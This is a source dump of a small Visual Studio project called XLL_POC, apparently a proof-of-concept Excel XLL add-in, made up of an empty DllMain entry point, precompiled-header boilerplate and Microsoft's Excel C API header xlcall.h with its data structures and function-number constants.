--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "stdafx.h"
3 | #include
4 | #include
5 |
6 | BOOL APIENTRY DllMain(HMODULE hModule,
7 | DWORD ul_reason_for_call,
8 | LPVOID lpReserved
9 | )
10 | {
11 | switch (ul_reason_for_call)
12 | {
13 | case DLL_PROCESS_ATTACH:
14 |
15 | //MessageBox(NULL, "Hello from DllMain!", "Hai!", 0);
16 |
17 | case DLL_THREAD_ATTACH:
18 | case DLL_THREAD_DETACH:
19 | case DLL_PROCESS_DETACH:
20 | break;
21 | }
22 | return TRUE;
23 | }
24 |
25 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/res/XLL_POC.rc2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/res/XLL_POC.rc2
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // XLL_POC.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 |
8 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 | #include "targetver.h"
8 |
9 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
10 | // Windows Header Files:
11 | #include
12 | #include
13 | #include "xlcall.h"
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/XLL_POC/XLL_POC/xlcall.h:
--------------------------------------------------------------------------------
1 | /*
2 | ** Microsoft Excel Developer's Toolkit
3 | ** Version 15.0
4 | **
5 | ** File: INCLUDE\XLCALL.H
6 | ** Description: Header file for for Excel callbacks
7 | ** Platform: Microsoft Windows
8 | **
9 | ** DEPENDENCY:
10 | ** Include before you include this.
11 | **
12 | ** This file defines the constants and
13 | ** data types which are used in the
14 | ** Microsoft Excel C API.
15 | **
16 | */
17 |
18 | #pragma once
19 |
20 |
21 |
22 | /*
23 | ** XL 12 Basic Datatypes
24 | **/
25 |
26 | typedef INT32 BOOL; /* Boolean */
27 | typedef WCHAR XCHAR; /* Wide Character */
28 | typedef INT32 RW; /* XL 12 Row */
29 | typedef INT32 COL; /* XL 12 Column */
30 | typedef DWORD_PTR IDSHEET; /* XL12 Sheet ID */
31 |
32 | /*
33 | ** XLREF structure
34 | **
35 | ** Describes a single rectangular reference.
36 | */
37 |
38 | typedef struct xlref
39 | {
40 | WORD rwFirst;
41 | WORD rwLast;
42 | BYTE colFirst;
43 | BYTE colLast;
44 | } XLREF, *LPXLREF;
45 |
46 |
47 | /*
48 | ** XLMREF structure
49 | **
50 | ** Describes multiple rectangular references.
51 | ** This is a variable size structure, default
52 | ** size is 1 reference.
53 | */
54 |
55 | typedef struct xlmref
56 | {
57 | WORD count;
58 | XLREF reftbl[1]; /* actually reftbl[count] */
59 | } XLMREF, *LPXLMREF;
60 |
61 |
62 | /*
63 | ** XLREF12 structure
64 | **
65 | ** Describes a single XL 12 rectangular reference.
66 | */
67 |
68 | typedef struct xlref12
69 | {
70 | RW rwFirst;
71 | RW rwLast;
72 | COL colFirst;
73 | COL colLast;
74 | } XLREF12, *LPXLREF12;
75 |
76 |
77 | /*
78 | ** XLMREF12 structure
79 | **
80 | ** Describes multiple rectangular XL 12 references.
81 | ** This is a variable size structure, default
82 | ** size is 1 reference.
83 | */
84 |
85 | typedef struct xlmref12
86 | {
87 | WORD count;
88 | XLREF12 reftbl[1]; /* actually reftbl[count] */
89 | } XLMREF12, *LPXLMREF12;
90 |
91 |
92 | /*
93 | ** FP structure
94 | **
95 | ** Describes FP structure.
96 | */
97 |
98 | typedef struct _FP
99 | {
100 | unsigned short int rows;
101 | unsigned short int columns;
102 | double array[1]; /* Actually, array[rows][columns] */
103 | } FP;
104 |
105 | /*
106 | ** FP12 structure
107 | **
108 | ** Describes FP structure capable of handling the big grid.
109 | */
110 |
111 | typedef struct _FP12
112 | {
113 | INT32 rows;
114 | INT32 columns;
115 | double array[1]; /* Actually, array[rows][columns] */
116 | } FP12;
117 |
118 |
119 | /*
120 | ** XLOPER structure
121 | **
122 | ** Excel's fundamental data type: can hold data
123 | ** of any type. Use "R" as the argument type in the
124 | ** REGISTER function.
125 | **/
126 |
127 | typedef struct xloper
128 | {
129 | union
130 | {
131 | double num; /* xltypeNum */
132 | LPSTR str; /* xltypeStr */
133 | #ifdef __cplusplus
134 | WORD xbool; /* xltypeBool */
135 | #else
136 | WORD bool; /* xltypeBool */
137 | #endif
138 | WORD err; /* xltypeErr */
139 | short int w; /* xltypeInt */
140 | struct
141 | {
142 | WORD count; /* always = 1 */
143 | XLREF ref;
144 | } sref; /* xltypeSRef */
145 | struct
146 | {
147 | XLMREF *lpmref;
148 | IDSHEET idSheet;
149 | } mref; /* xltypeRef */
150 | struct
151 | {
152 | struct xloper *lparray;
153 | WORD rows;
154 | WORD columns;
155 | } array; /* xltypeMulti */
156 | struct
157 | {
158 | union
159 | {
160 | short int level; /* xlflowRestart */
161 | short int tbctrl; /* xlflowPause */
162 | IDSHEET idSheet; /* xlflowGoto */
163 | } valflow;
164 | WORD rw; /* xlflowGoto */
165 | BYTE col; /* xlflowGoto */
166 | BYTE xlflow;
167 | } flow; /* xltypeFlow */
168 | struct
169 | {
170 | union
171 | {
172 | BYTE *lpbData; /* data passed to XL */
173 | HANDLE hdata; /* data returned from XL */
174 | } h;
175 | long cbData;
176 | } bigdata; /* xltypeBigData */
177 | } val;
178 | WORD xltype;
179 | } XLOPER, *LPXLOPER;
180 |
181 | /*
182 | ** XLOPER12 structure
183 | **
184 | ** Excel 12's fundamental data type: can hold data
185 | ** of any type. Use "U" as the argument type in the
186 | ** REGISTER function.
187 | **/
188 |
189 | typedef struct xloper12
190 | {
191 | union
192 | {
193 | double num; /* xltypeNum */
194 | XCHAR *str; /* xltypeStr */
195 | BOOL xbool; /* xltypeBool */
196 | int err; /* xltypeErr */
197 | int w;
198 | struct
199 | {
200 | WORD count; /* always = 1 */
201 | XLREF12 ref;
202 | } sref; /* xltypeSRef */
203 | struct
204 | {
205 | XLMREF12 *lpmref;
206 | IDSHEET idSheet;
207 | } mref; /* xltypeRef */
208 | struct
209 | {
210 | struct xloper12 *lparray;
211 | RW rows;
212 | COL columns;
213 | } array; /* xltypeMulti */
214 | struct
215 | {
216 | union
217 | {
218 | int level; /* xlflowRestart */
219 | int tbctrl; /* xlflowPause */
220 | IDSHEET idSheet; /* xlflowGoto */
221 | } valflow;
222 | RW rw; /* xlflowGoto */
223 | COL col; /* xlflowGoto */
224 | BYTE xlflow;
225 | } flow; /* xltypeFlow */
226 | struct
227 | {
228 | union
229 | {
230 | BYTE *lpbData; /* data passed to XL */
231 | HANDLE hdata; /* data returned from XL */
232 | } h;
233 | long cbData;
234 | } bigdata; /* xltypeBigData */
235 | } val;
236 | DWORD xltype;
237 | } XLOPER12, *LPXLOPER12;
238 |
239 | /*
240 | ** XLOPER and XLOPER12 data types
241 | **
242 | ** Used for xltype field of XLOPER and XLOPER12 structures
243 | */
244 |
245 | #define xltypeNum 0x0001
246 | #define xltypeStr 0x0002
247 | #define xltypeBool 0x0004
248 | #define xltypeRef 0x0008
249 | #define xltypeErr 0x0010
250 | #define xltypeFlow 0x0020
251 | #define xltypeMulti 0x0040
252 | #define xltypeMissing 0x0080
253 | #define xltypeNil 0x0100
254 | #define xltypeSRef 0x0400
255 | #define xltypeInt 0x0800
256 |
257 | #define xlbitXLFree 0x1000
258 | #define xlbitDLLFree 0x4000
259 |
260 | #define xltypeBigData (xltypeStr | xltypeInt)
261 |
262 |
263 | /*
264 | ** Error codes
265 | **
266 | ** Used for val.err field of XLOPER and XLOPER12 structures
267 | ** when constructing error XLOPERs and XLOPER12s
268 | */
269 |
270 | #define xlerrNull 0
271 | #define xlerrDiv0 7
272 | #define xlerrValue 15
273 | #define xlerrRef 23
274 | #define xlerrName 29
275 | #define xlerrNum 36
276 | #define xlerrNA 42
277 | #define xlerrGettingData 43
278 |
279 |
280 | /*
281 | ** Flow data types
282 | **
283 | ** Used for val.flow.xlflow field of XLOPER and XLOPER12 structures
284 | ** when constructing flow-control XLOPERs and XLOPER12s
285 | **/
286 |
287 | #define xlflowHalt 1
288 | #define xlflowGoto 2
289 | #define xlflowRestart 8
290 | #define xlflowPause 16
291 | #define xlflowResume 64
292 |
293 |
294 | /*
295 | ** Return codes
296 | **
297 | ** These values can be returned from Excel4(), Excel4v(), Excel12() or Excel12v().
298 | */
299 |
300 | #define xlretSuccess 0 /* success */
301 | #define xlretAbort 1 /* macro halted */
302 | #define xlretInvXlfn 2 /* invalid function number */
303 | #define xlretInvCount 4 /* invalid number of arguments */
304 | #define xlretInvXloper 8 /* invalid OPER structure */
305 | #define xlretStackOvfl 16 /* stack overflow */
306 | #define xlretFailed 32 /* command failed */
307 | #define xlretUncalced 64 /* uncalced cell */
308 | #define xlretNotThreadSafe 128 /* not allowed during multi-threaded calc */
309 | #define xlretInvAsynchronousContext 256 /* invalid asynchronous function handle */
310 | #define xlretNotClusterSafe 512 /* not supported on cluster */
311 |
312 |
313 | /*
314 | ** XLL events
315 | **
316 | ** Passed in to an xlEventRegister call to register a corresponding event.
317 | */
318 |
319 | #define xleventCalculationEnded 1 /* Fires at the end of calculation */
320 | #define xleventCalculationCanceled 2 /* Fires when calculation is interrupted */
321 |
322 |
323 | /*
324 | ** Function prototypes
325 | */
326 |
327 | #ifdef __cplusplus
328 | extern "C" {
329 | #endif
330 |
331 | int _cdecl Excel4(int xlfn, LPXLOPER operRes, int count, ...);
332 | /* followed by count LPXLOPERs */
333 |
334 | int pascal Excel4v(int xlfn, LPXLOPER operRes, int count, LPXLOPER opers[]);
335 |
336 | int pascal XLCallVer(void);
337 |
338 | long pascal LPenHelper(int wCode, VOID *lpv);
339 |
340 | int _cdecl Excel12(int xlfn, LPXLOPER12 operRes, int count, ...);
341 | /* followed by count LPXLOPER12s */
342 |
343 | int pascal Excel12v(int xlfn, LPXLOPER12 operRes, int count, LPXLOPER12 opers[]);
344 |
345 | #ifdef __cplusplus
346 | }
347 | #endif
348 |
349 |
350 | /*
351 | ** Cluster Connector Async Callback
352 | */
353 |
354 | typedef int (CALLBACK *PXL_HPC_ASYNC_CALLBACK)(LPXLOPER12 operAsyncHandle, LPXLOPER12 operReturn);
355 |
356 |
357 | /*
358 | ** Cluster connector entry point return codes
359 | */
360 |
361 | #define xlHpcRetSuccess 0
362 | #define xlHpcRetSessionIdInvalid -1
363 | #define xlHpcRetCallFailed -2
364 |
365 |
366 | /*
367 | ** Function number bits
368 | */
369 |
370 | #define xlCommand 0x8000
371 | #define xlSpecial 0x4000
372 | #define xlIntl 0x2000
373 | #define xlPrompt 0x1000
374 |
375 |
376 | /*
377 | ** Auxiliary function numbers
378 | **
379 | ** These functions are available only from the C API,
380 | ** not from the Excel macro language.
381 | */
382 |
383 | #define xlFree (0 | xlSpecial)
384 | #define xlStack (1 | xlSpecial)
385 | #define xlCoerce (2 | xlSpecial)
386 | #define xlSet (3 | xlSpecial)
387 | #define xlSheetId (4 | xlSpecial)
388 | #define xlSheetNm (5 | xlSpecial)
389 | #define xlAbort (6 | xlSpecial)
390 | #define xlGetInst (7 | xlSpecial) /* Returns application's hinstance as an integer value, supported on 32-bit platform only */
391 | #define xlGetHwnd (8 | xlSpecial)
392 | #define xlGetName (9 | xlSpecial)
393 | #define xlEnableXLMsgs (10 | xlSpecial)
394 | #define xlDisableXLMsgs (11 | xlSpecial)
395 | #define xlDefineBinaryName (12 | xlSpecial)
396 | #define xlGetBinaryName (13 | xlSpecial)
397 | /* GetFooInfo are valid only for calls to LPenHelper */
398 | #define xlGetFmlaInfo (14 | xlSpecial)
399 | #define xlGetMouseInfo (15 | xlSpecial)
400 | #define xlAsyncReturn (16 | xlSpecial) /*Set return value from an asynchronous function call*/
401 | #define xlEventRegister (17 | xlSpecial) /*Register an XLL event*/
402 | #define xlRunningOnCluster (18 | xlSpecial) /*Returns true if running on Compute Cluster*/
403 | #define xlGetInstPtr (19 | xlSpecial) /* Returns application's hinstance as a handle, supported on both 32-bit and 64-bit platforms */
404 |
405 | /* edit modes */
406 | #define xlModeReady 0 // not in edit mode
407 | #define xlModeEnter 1 // enter mode
408 | #define xlModeEdit 2 // edit mode
409 | #define xlModePoint 4 // point mode
410 |
411 | /* document(page) types */
412 | #define dtNil 0x7f // window is not a sheet, macro, chart or basic
413 | // OR window is not the selected window at idle state
414 | #define dtSheet 0 // sheet
415 | #define dtProc 1 // XLM macro
416 | #define dtChart 2 // Chart
417 | #define dtBasic 6 // VBA
418 |
419 | /* hit test codes */
420 | #define htNone 0x00 // none of below
421 | #define htClient 0x01 // internal for "in the client are", should never see
422 | #define htVSplit 0x02 // vertical split area with split panes
423 | #define htHSplit 0x03 // horizontal split area
424 | #define htColWidth 0x04 // column width adjuster area
425 | #define htRwHeight 0x05 // row height adjuster area
426 | #define htRwColHdr 0x06 // the intersection of row and column headers
427 | #define htObject 0x07 // the body of an object
428 | // the following are for size handles of draw objects
429 | #define htTopLeft 0x08
430 | #define htBotLeft 0x09
431 | #define htLeft 0x0A
432 | #define htTopRight 0x0B
433 | #define htBotRight 0x0C
434 | #define htRight 0x0D
435 | #define htTop 0x0E
436 | #define htBot 0x0F
437 | // end size handles
438 | #define htRwGut 0x10 // row area of outline gutter
439 | #define htColGut 0x11 // column area of outline gutter
440 | #define htTextBox 0x12 // body of a text box (where we shouw I-Beam cursor)
441 | #define htRwLevels 0x13 // row levels buttons of outline gutter
442 | #define htColLevels 0x14 // column levels buttons of outline gutter
443 | #define htDman 0x15 // the drag/drop handle of the selection
444 | #define htDmanFill 0x16 // the auto-fill handle of the selection
445 | #define htXSplit 0x17 // the intersection of the horz & vert pane splits
446 | #define htVertex 0x18 // a vertex of a polygon draw object
447 | #define htAddVtx 0x19 // htVertex in add a vertex mode
448 | #define htDelVtx 0x1A // htVertex in delete a vertex mode
449 | #define htRwHdr 0x1B // row header
450 | #define htColHdr 0x1C // column header
451 | #define htRwShow 0x1D // Like htRowHeight except means grow a hidden column
452 | #define htColShow 0x1E // column version of htRwShow
453 | #define htSizing 0x1F // Internal use only
454 | #define htSxpivot 0x20 // a drag/drop tile in a pivot table
455 | #define htTabs 0x21 // the sheet paging tabs
456 | #define htEdit 0x22 // Internal use only
457 |
458 | typedef struct _fmlainfo
459 | {
460 | int wPointMode; // current edit mode. 0 => rest of struct undefined
461 | int cch; // count of characters in formula
462 | char *lpch; // pointer to formula characters. READ ONLY!!!
463 | int ichFirst; // char offset to start of selection
464 | int ichLast; // char offset to end of selection (may be > cch)
465 | int ichCaret; // char offset to blinking caret
466 | } FMLAINFO;
467 |
468 | typedef struct _mouseinfo
469 | {
470 | /* input section */
471 | HWND hwnd; // window to get info on
472 | POINT pt; // mouse position to get info on
473 |
474 | /* output section */
475 | int dt; // document(page) type
476 | int ht; // hit test code
477 | int rw; // row @ mouse (-1 if #n/a)
478 | int col; // col @ mouse (-1 if #n/a)
479 | } MOUSEINFO;
480 |
481 |
482 |
483 | /*
484 | ** User defined function
485 | **
486 | ** First argument should be a function reference.
487 | */
488 |
489 | #define xlUDF 255
490 |
491 |
492 | /*
493 | ** Built-in Excel functions and command equivalents
494 | */
495 |
496 |
497 | // Excel function numbers
498 |
499 | #define xlfCount 0
500 | #define xlfIsna 2
501 | #define xlfIserror 3
502 | #define xlfSum 4
503 | #define xlfAverage 5
504 | #define xlfMin 6
505 | #define xlfMax 7
506 | #define xlfRow 8
507 | #define xlfColumn 9
508 | #define xlfNa 10
509 | #define xlfNpv 11
510 | #define xlfStdev 12
511 | #define xlfDollar 13
512 | #define xlfFixed 14
513 | #define xlfSin 15
514 | #define xlfCos 16
515 | #define xlfTan 17
516 | #define xlfAtan 18
517 | #define xlfPi 19
518 | #define xlfSqrt 20
519 | #define xlfExp 21
520 | #define xlfLn 22
521 | #define xlfLog10 23
522 | #define xlfAbs 24
523 | #define xlfInt 25
524 | #define xlfSign 26
525 | #define xlfRound 27
526 | #define xlfLookup 28
527 | #define xlfIndex 29
528 | #define xlfRept 30
529 | #define xlfMid 31
530 | #define xlfLen 32
531 | #define xlfValue 33
532 | #define xlfTrue 34
533 | #define xlfFalse 35
534 | #define xlfAnd 36
535 | #define xlfOr 37
536 | #define xlfNot 38
537 | #define xlfMod 39
538 | #define xlfDcount 40
539 | #define xlfDsum 41
540 | #define xlfDaverage 42
541 | #define xlfDmin 43
542 | #define xlfDmax 44
543 | #define xlfDstdev 45
544 | #define xlfVar 46
545 | #define xlfDvar 47
546 | #define xlfText 48
547 | #define xlfLinest 49
548 | #define xlfTrend 50
549 | #define xlfLogest 51
550 | #define xlfGrowth 52
551 | #define xlfGoto 53
552 | #define xlfHalt 54
553 | #define xlfPv 56
554 | #define xlfFv 57
555 | #define xlfNper 58
556 | #define xlfPmt 59
557 | #define xlfRate 60
558 | #define xlfMirr 61
559 | #define xlfIrr 62
560 | #define xlfRand 63
561 | #define xlfMatch 64
562 | #define xlfDate 65
563 | #define xlfTime 66
564 | #define xlfDay 67
565 | #define xlfMonth 68
566 | #define xlfYear 69
567 | #define xlfWeekday 70
568 | #define xlfHour 71
569 | #define xlfMinute 72
570 | #define xlfSecond 73
571 | #define xlfNow 74
572 | #define xlfAreas 75
573 | #define xlfRows 76
574 | #define xlfColumns 77
575 | #define xlfOffset 78
576 | #define xlfAbsref 79
577 | #define xlfRelref 80
578 | #define xlfArgument 81
579 | #define xlfSearch 82
580 | #define xlfTranspose 83
581 | #define xlfError 84
582 | #define xlfStep 85
583 | #define xlfType 86
584 | #define xlfEcho 87
585 | #define xlfSetName 88
586 | #define xlfCaller 89
587 | #define xlfDeref 90
588 | #define xlfWindows 91
589 | #define xlfSeries 92
590 | #define xlfDocuments 93
591 | #define xlfActiveCell 94
592 | #define xlfSelection 95
593 | #define xlfResult 96
594 | #define xlfAtan2 97
595 | #define xlfAsin 98
596 | #define xlfAcos 99
597 | #define xlfChoose 100
598 | #define xlfHlookup 101
599 | #define xlfVlookup 102
600 | #define xlfLinks 103
601 | #define xlfInput 104
602 | #define xlfIsref 105
603 | #define xlfGetFormula 106
604 | #define xlfGetName 107
605 | #define xlfSetValue 108
606 | #define xlfLog 109
607 | #define xlfExec 110
608 | #define xlfChar 111
609 | #define xlfLower 112
610 | #define xlfUpper 113
611 | #define xlfProper 114
612 | #define xlfLeft 115
613 | #define xlfRight 116
614 | #define xlfExact 117
615 | #define xlfTrim 118
616 | #define xlfReplace 119
617 | #define xlfSubstitute 120
618 | #define xlfCode 121
619 | #define xlfNames 122
620 | #define xlfDirectory 123
621 | #define xlfFind 124
622 | #define xlfCell 125
623 | #define xlfIserr 126
624 | #define xlfIstext 127
625 | #define xlfIsnumber 128
626 | #define xlfIsblank 129
627 | #define xlfT 130
628 | #define xlfN 131
629 | #define xlfFopen 132
630 | #define xlfFclose 133
631 | #define xlfFsize 134
632 | #define xlfFreadln 135
633 | #define xlfFread 136
634 | #define xlfFwriteln 137
635 | #define xlfFwrite 138
636 | #define xlfFpos 139
637 | #define xlfDatevalue 140
638 | #define xlfTimevalue 141
639 | #define xlfSln 142
640 | #define xlfSyd 143
641 | #define xlfDdb 144
642 | #define xlfGetDef 145
643 | #define xlfReftext 146
644 | #define xlfTextref 147
645 | #define xlfIndirect 148
646 | #define xlfRegister 149
647 | #define xlfCall 150
648 | #define xlfAddBar 151
649 | #define xlfAddMenu 152
650 | #define xlfAddCommand 153
651 | #define xlfEnableCommand 154
652 | #define xlfCheckCommand 155
653 | #define xlfRenameCommand 156
654 | #define xlfShowBar 157
655 | #define xlfDeleteMenu 158
656 | #define xlfDeleteCommand 159
657 | #define xlfGetChartItem 160
658 | #define xlfDialogBox 161
659 | #define xlfClean 162
660 | #define xlfMdeterm 163
661 | #define xlfMinverse 164
662 | #define xlfMmult 165
663 | #define xlfFiles 166
664 | #define xlfIpmt 167
665 | #define xlfPpmt 168
666 | #define xlfCounta 169
667 | #define xlfCancelKey 170
668 | #define xlfInitiate 175
669 | #define xlfRequest 176
670 | #define xlfPoke 177
671 | #define xlfExecute 178
672 | #define xlfTerminate 179
673 | #define xlfRestart 180
674 | #define xlfHelp 181
675 | #define xlfGetBar 182
676 | #define xlfProduct 183
677 | #define xlfFact 184
678 | #define xlfGetCell 185
679 | #define xlfGetWorkspace 186
680 | #define xlfGetWindow 187
681 | #define xlfGetDocument 188
682 | #define xlfDproduct 189
683 | #define xlfIsnontext 190
684 | #define xlfGetNote 191
685 | #define xlfNote 192
686 | #define xlfStdevp 193
687 | #define xlfVarp 194
688 | #define xlfDstdevp 195
689 | #define xlfDvarp 196
690 | #define xlfTrunc 197
691 | #define xlfIslogical 198
692 | #define xlfDcounta 199
693 | #define xlfDeleteBar 200
694 | #define xlfUnregister 201
695 | #define xlfUsdollar 204
696 | #define xlfFindb 205
697 | #define xlfSearchb 206
698 | #define xlfReplaceb 207
699 | #define xlfLeftb 208
700 | #define xlfRightb 209
701 | #define xlfMidb 210
702 | #define xlfLenb 211
703 | #define xlfRoundup 212
704 | #define xlfRounddown 213
705 | #define xlfAsc 214
706 | #define xlfDbcs 215
707 | #define xlfRank 216
708 | #define xlfAddress 219
709 | #define xlfDays360 220
710 | #define xlfToday 221
711 | #define xlfVdb 222
712 | #define xlfMedian 227
713 | #define xlfSumproduct 228
714 | #define xlfSinh 229
715 | #define xlfCosh 230
716 | #define xlfTanh 231
717 | #define xlfAsinh 232
718 | #define xlfAcosh 233
719 | #define xlfAtanh 234
720 | #define xlfDget 235
721 | #define xlfCreateObject 236
722 | #define xlfVolatile 237
723 | #define xlfLastError 238
724 | #define xlfCustomUndo 239
725 | #define xlfCustomRepeat 240
726 | #define xlfFormulaConvert 241
727 | #define xlfGetLinkInfo 242
728 | #define xlfTextBox 243
729 | #define xlfInfo 244
730 | #define xlfGroup 245
731 | #define xlfGetObject 246
732 | #define xlfDb 247
733 | #define xlfPause 248
734 | #define xlfResume 251
735 | #define xlfFrequency 252
736 | #define xlfAddToolbar 253
737 | #define xlfDeleteToolbar 254
738 | #define xlfResetToolbar 256
739 | #define xlfEvaluate 257
740 | #define xlfGetToolbar 258
741 | #define xlfGetTool 259
742 | #define xlfSpellingCheck 260
743 | #define xlfErrorType 261
744 | #define xlfAppTitle 262
745 | #define xlfWindowTitle 263
746 | #define xlfSaveToolbar 264
747 | #define xlfEnableTool 265
748 | #define xlfPressTool 266
749 | #define Id 267
750 | #define xlfGetWorkbook 268
751 | #define xlfAvedev 269
752 | #define xlfBetadist 270
753 | #define xlfGammaln 271
754 | #define xlfBetainv 272
755 | #define xlfBinomdist 273
756 | #define xlfChidist 274
757 | #define xlfChiinv 275
758 | #define xlfCombin 276
759 | #define xlfConfidence 277
760 | #define xlfCritbinom 278
761 | #define xlfEven 279
762 | #define xlfExpondist 280
763 | #define xlfFdist 281
764 | #define xlfFinv 282
765 | #define xlfFisher 283
766 | #define xlfFisherinv 284
767 | #define xlfFloor 285
768 | #define xlfGammadist 286
769 | #define xlfGammainv 287
770 | #define xlfCeiling 288
771 | #define xlfHypgeomdist 289
772 | #define xlfLognormdist 290
773 | #define xlfLoginv 291
774 | #define xlfNegbinomdist 292
775 | #define xlfNormdist 293
776 | #define xlfNormsdist 294
777 | #define xlfNorminv 295
778 | #define xlfNormsinv 296
779 | #define xlfStandardize 297
780 | #define xlfOdd 298
781 | #define xlfPermut 299
782 | #define xlfPoisson 300
783 | #define xlfTdist 301
784 | #define xlfWeibull 302
785 | #define xlfSumxmy2 303
786 | #define xlfSumx2my2 304
787 | #define xlfSumx2py2 305
788 | #define xlfChitest 306
789 | #define xlfCorrel 307
790 | #define xlfCovar 308
791 | #define xlfForecast 309
792 | #define xlfFtest 310
793 | #define xlfIntercept 311
794 | #define xlfPearson 312
795 | #define xlfRsq 313
796 | #define xlfSteyx 314
797 | #define xlfSlope 315
798 | #define xlfTtest 316
799 | #define xlfProb 317
800 | #define xlfDevsq 318
801 | #define xlfGeomean 319
802 | #define xlfHarmean 320
803 | #define xlfSumsq 321
804 | #define xlfKurt 322
805 | #define xlfSkew 323
806 | #define xlfZtest 324
807 | #define xlfLarge 325
808 | #define xlfSmall 326
809 | #define xlfQuartile 327
810 | #define xlfPercentile 328
811 | #define xlfPercentrank 329
812 | #define xlfMode 330
813 | #define xlfTrimmean 331
814 | #define xlfTinv 332
815 | #define xlfMovieCommand 334
816 | #define xlfGetMovie 335
817 | #define xlfConcatenate 336
818 | #define xlfPower 337
819 | #define xlfPivotAddData 338
820 | #define xlfGetPivotTable 339
821 | #define xlfGetPivotField 340
822 | #define xlfGetPivotItem 341
823 | #define xlfRadians 342
824 | #define xlfDegrees 343
825 | #define xlfSubtotal 344
826 | #define xlfSumif 345
827 | #define xlfCountif 346
828 | #define xlfCountblank 347
829 | #define xlfScenarioGet 348
830 | #define xlfOptionsListsGet 349
831 | #define xlfIspmt 350
832 | #define xlfDatedif 351
833 | #define xlfDatestring 352
834 | #define xlfNumberstring 353
835 | #define xlfRoman 354
836 | #define xlfOpenDialog 355
837 | #define xlfSaveDialog 356
838 | #define xlfViewGet 357
839 | #define xlfGetpivotdata 358
840 | #define xlfHyperlink 359
841 | #define xlfPhonetic 360
842 | #define xlfAveragea 361
843 | #define xlfMaxa 362
844 | #define xlfMina 363
845 | #define xlfStdevpa 364
846 | #define xlfVarpa 365
847 | #define xlfStdeva 366
848 | #define xlfVara 367
849 | #define xlfBahttext 368
850 | #define xlfThaidayofweek 369
851 | #define xlfThaidigit 370
852 | #define xlfThaimonthofyear 371
853 | #define xlfThainumsound 372
854 | #define xlfThainumstring 373
855 | #define xlfThaistringlength 374
856 | #define xlfIsthaidigit 375
857 | #define xlfRoundbahtdown 376
858 | #define xlfRoundbahtup 377
859 | #define xlfThaiyear 378
860 | #define xlfRtd 379
861 | #define xlfCubevalue 380
862 | #define xlfCubemember 381
863 | #define xlfCubememberproperty 382
864 | #define xlfCuberankedmember 383
865 | #define xlfHex2bin 384
866 | #define xlfHex2dec 385
867 | #define xlfHex2oct 386
868 | #define xlfDec2bin 387
869 | #define xlfDec2hex 388
870 | #define xlfDec2oct 389
871 | #define xlfOct2bin 390
872 | #define xlfOct2hex 391
873 | #define xlfOct2dec 392
874 | #define xlfBin2dec 393
875 | #define xlfBin2oct 394
876 | #define xlfBin2hex 395
877 | #define xlfImsub 396
878 | #define xlfImdiv 397
879 | #define xlfImpower 398
880 | #define xlfImabs 399
881 | #define xlfImsqrt 400
882 | #define xlfImln 401
883 | #define xlfImlog2 402
884 | #define xlfImlog10 403
885 | #define xlfImsin 404
886 | #define xlfImcos 405
887 | #define xlfImexp 406
888 | #define xlfImargument 407
889 | #define xlfImconjugate 408
890 | #define xlfImaginary 409
891 | #define xlfImreal 410
892 | #define xlfComplex 411
893 | #define xlfImsum 412
894 | #define xlfImproduct 413
895 | #define xlfSeriessum 414
896 | #define xlfFactdouble 415
897 | #define xlfSqrtpi 416
898 | #define xlfQuotient 417
899 | #define xlfDelta 418
900 | #define xlfGestep 419
901 | #define xlfIseven 420
902 | #define xlfIsodd 421
903 | #define xlfMround 422
904 | #define xlfErf 423
905 | #define xlfErfc 424
906 | #define xlfBesselj 425
907 | #define xlfBesselk 426
908 | #define xlfBessely 427
909 | #define xlfBesseli 428
910 | #define xlfXirr 429
911 | #define xlfXnpv 430
912 | #define xlfPricemat 431
913 | #define xlfYieldmat 432
914 | #define xlfIntrate 433
915 | #define xlfReceived 434
916 | #define xlfDisc 435
917 | #define xlfPricedisc 436
918 | #define xlfYielddisc 437
919 | #define xlfTbilleq 438
920 | #define xlfTbillprice 439
921 | #define xlfTbillyield 440
922 | #define xlfPrice 441
923 | #define xlfYield 442
924 | #define xlfDollarde 443
925 | #define xlfDollarfr 444
926 | #define xlfNominal 445
927 | #define xlfEffect 446
928 | #define xlfCumprinc 447
929 | #define xlfCumipmt 448
930 | #define xlfEdate 449
931 | #define xlfEomonth 450
932 | #define xlfYearfrac 451
933 | #define xlfCoupdaybs 452
934 | #define xlfCoupdays 453
935 | #define xlfCoupdaysnc 454
936 | #define xlfCoupncd 455
937 | #define xlfCoupnum 456
938 | #define xlfCouppcd 457
939 | #define xlfDuration 458
940 | #define xlfMduration 459
941 | #define xlfOddlprice 460
942 | #define xlfOddlyield 461
943 | #define xlfOddfprice 462
944 | #define xlfOddfyield 463
945 | #define xlfRandbetween 464
946 | #define xlfWeeknum 465
947 | #define xlfAmordegrc 466
948 | #define xlfAmorlinc 467
949 | #define xlfConvert 468
950 | #define xlfAccrint 469
951 | #define xlfAccrintm 470
952 | #define xlfWorkday 471
953 | #define xlfNetworkdays 472
954 | #define xlfGcd 473
955 | #define xlfMultinomial 474
956 | #define xlfLcm 475
957 | #define xlfFvschedule 476
958 | #define xlfCubekpimember 477
959 | #define xlfCubeset 478
960 | #define xlfCubesetcount 479
961 | #define xlfIferror 480
962 | #define xlfCountifs 481
963 | #define xlfSumifs 482
964 | #define xlfAverageif 483
965 | #define xlfAverageifs 484
966 | #define xlfAggregate 485
967 | #define xlfBinom_dist 486
968 | #define xlfBinom_inv 487
